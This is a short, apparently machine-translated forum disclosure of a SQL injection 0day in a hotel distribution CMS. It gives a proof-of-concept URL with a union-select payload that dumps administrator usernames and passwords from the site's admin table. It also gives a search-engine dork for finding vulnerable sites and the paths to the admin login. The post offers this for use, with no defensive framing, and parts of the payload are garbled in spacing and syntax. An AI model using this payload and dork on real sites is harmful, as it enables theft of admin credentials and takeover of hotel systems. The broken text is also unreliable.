A hotel distribution system CMS sql inj 0day-vulnerability warning-the black bar safety net

poc: index. php? m=liansuohotel&cityid=5 3%20and%2 0 1=2%20union%20select%2 0 1,concatusername,0x3a,password,3,4,5,6,7,8,9,1 0%20from%20zhunaadmin Keywords: inurl:index. php? m=hotelinfo Background: index. php? m=admin index. php? m=admin/login...